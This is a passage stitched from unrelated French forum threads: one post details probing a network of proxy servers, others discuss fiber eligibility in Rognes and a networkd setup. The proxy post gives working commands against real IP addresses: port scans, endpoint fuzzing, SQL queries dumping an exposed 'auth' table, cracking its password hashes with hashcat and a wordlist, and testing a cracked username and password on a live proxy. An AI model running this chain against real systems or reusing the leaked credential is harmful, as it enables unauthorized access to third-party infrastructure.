Hmm quand on utilise le proxy 82.24.249.30, on sort avec une IP différente à chaque fois, localisée n'importe où dans le monde (Maroc, Iraq, Espagne, Pérou...), et ces IP n'ont rien sur le port 30001... On dirait donc qu'il y a au moins une couche en plus.

Intéressant, je ne connaissait pas personnellement ce proxy corrosion.

Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.

Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.

J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17
Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.

Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close

Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT

En fuzzant le port 30001 avec feroxbuster et la wordlist apiroutes d'Assetnotes:
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001
On trouve deux choses intéressantes :

• /v1/health qui retourne quelques stats
• /v1/subscriptions/pricing, /v1/subscriptions/plans et quelques autres qui retournent tous une erreur "400 Bad Request"

On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT

Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2

En faisant une recherche sur ce message d'erreur, on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.

En fuzzant à nouveau sous /v1, cette fois avec ffuf (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc all
On trouve "/v1/updates" en plus de "/v1/subscriptions". En cherchant ces deux termes, on tombe sur Corrosion, un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.

A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null

Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.

La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'
Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.

A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txt
On en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.com
Dans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...

Ce qui voudrait dire :

• Soit que que tous les proxies sont sur le même réseau privé
• Soit que chaque proxy fait aussi tourner un VPN pour communiquer avec les autres
• Soit ?

Bonsoir,
@qoissi si on peut aider pour les répéteurs wifi 7, vous nous dites ?

Rognes est effectivement une zone déployée par Orange, AMII dans le cadre des engagements L_33_13, voir ci-dessous la carte ARCEP. Avec le problème de l'adressage, il y a peut-être eu un loupé au moment du déploiement où la maison n'a pas été recensée. Et en plus, il y aurait des fibres cassées.
C'est à l'OI, donc Orange, de faire le nécessaire pour rendre éligible cette maison, surtout si elle était là avant le déploiement.

Mais on tombe sur un problème connu, la difficulté pour un particulier de contacter l'OI, et de le faire bouger. Et on voit que l'OC, l'opérateur commercial, Free, n'est pas très motivé pour faire bouger les choses.

Pour ce qui est de prendre une box 4G/5G, c'est la solution facile que conseille certains professionnels travaillant pour Orange, ce n'est pas du tout la même qualité de connexion et stabilité que la fibre, surtout en zone rurale, et cela ne les dégage pas de leur engagement de complétude des déploiements fibre.

Dans ton cas, j'ai regardé les cartes de couverture Free mobile et Orange en 5G (5G+ pour Free mobile donc présence de 3500 MHz), cella ne semble pas gagné. Quel débit as-tu quand tu fais un test de débit dans ta maison ?

Tu peux faire un signalement à l'ARCEP en expliquant la situation. Cela ne va certainement pas résoudre le problème rapidement, mais ajoutera au dossier des zones AMII déployées par Orange qui sont en retard.

Un professionnel va te dire aussi que ton seul interlocuteur est ton OC, Free, mais on voit que que celui-ci a peu d'influence sur l'OI, et en plus n'est pas très enclin à s'occuper d'un cas hors process.

Tu peux faire un signalement à l'ARCEP en expliquant la situation. Cela ne va certainement pas résoudre le problème rapidement, mais ajoutera au dossier des zones AMII déployées par Orange qui sont en retard.

https://jalerte.arcep.fr/

Sinon, peut-être essayer de faire un test d'éligibilité chez Orange ? c'est eux qui doivent réparer ta fibre, ils auront peut-être de meilleurs contacts avec l'OI Orange ? Ou aller les voir en boutique ?

C'est de la merde networkd. J'ai testé, et c'est caca. Je conseil de rester sur du bon ifup/ifdown + dhcpd.

Finalement, après quelques changements de paramétrage et une déconnexion totale pendant plusieurs heures, ça fonctionne de nouveau nickel. J'entends que networkd ne te convient pas. Mais pour le moment, ça fonctionne chez moi et 2 autres personnes chez qui j'ai monté des routeurs Linux, donc je vais rester là dessus.